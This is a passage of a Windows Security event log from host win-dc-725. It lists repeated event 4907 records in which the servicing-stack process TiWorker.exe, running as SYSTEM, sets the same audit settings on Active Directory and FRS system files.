TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247678
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\pas.ldf
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247677
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\ffa5ee3c-1405-476d-b344-7ad37d69cc25.dcpromo.csv
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247676
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\dcpromo.csv
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247675
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\dca8f425-baae-47cd-b424-e3f6c76ed08b.dcpromo.csv
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247674
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\a662b036-dbbe-4166-b4ba-21abea17f9cc.dcpromo.csv
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247673
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\4444c516-f43a-4c12-9c4b-b5c064941d61.dcpromo.csv
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247672
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\134428a8-0043-48a6-bcda-63310d9ec4dd.dcpromo.csv
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247671
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\00232167-f3a4-43c6-b503-9acb7a81b01c.dcpromo.csv
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247670
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ADDSDeployment_Internal\ADDSDeployment_Internal.psm1
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247669
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ADDSDeployment_Internal\ADDSDeployment_Internal.psd1
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247668
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\TransformationRulesParser.exe
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247667
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\schema.ini
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247666
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\SampleDCCloneConfig.xml
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247665
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\replprov.mof
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247664
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\replprov.dll
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247663
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\PwdSSP.dll
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247662
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ntfrsutl.exe
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247661
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ntfrsres.dll
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247660
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ntfrsrep.ini
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247659
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ntfrsrep.h
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247658
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\NTFRSPRF.dll
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247657
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ntfrscon.ini
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247656
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ntfrscon.h
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247655
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ntfrs.exe
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247654
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ntdsperf.dll
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247653
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ntdsmsg.dll
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247652
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ntdskcc.dll
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247651
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ntdsetup.dll
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247650
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ntdsbsrv.dll
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247649
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ntdsbmsg.dll
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247648
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ntdsatq.dll
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247647
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ntdsai.dll
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247646
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\ntdsa.dll
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247645
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
